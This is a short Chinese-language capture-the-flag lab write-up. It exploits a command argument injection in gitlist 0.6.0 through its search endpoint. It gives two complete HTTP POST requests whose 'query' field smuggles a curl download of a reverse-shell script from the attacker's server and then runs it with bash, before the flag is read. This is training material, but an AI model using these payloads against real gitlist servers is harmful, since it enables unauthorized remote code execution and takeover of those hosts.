声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
靶场介绍
gitlist是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本中,存在一处命令参数注入问题,可以导致远程命令执行漏洞
春秋云镜开启靶场:
http://eci-2zebxdyfuuxflbl5ayaz.cloudeci1.ichunqiu.com/
先使用python起一个web服务
目录下写反弹shell的命令
发送以下数据包
POST /example/tree/a/search HTTP/1.1
Host: eci-2zebxdyfuuxflbl5ayaz.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 86
query=--open-files-in-pager=curl http://127.0.0.1:8888/shell.txt -o /tmp/shell.sh;
服务器成功接收到
反弹shell 数据包
POST /example/tree/a/search HTTP/1.1
Host: eci-2zebxdyfuuxflbl5ayaz.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 52
query=--open-files-in-pager=/bin/bash /tmp/shell.sh;
服务器成功收到shell
读取flag cat ../../../../../../flag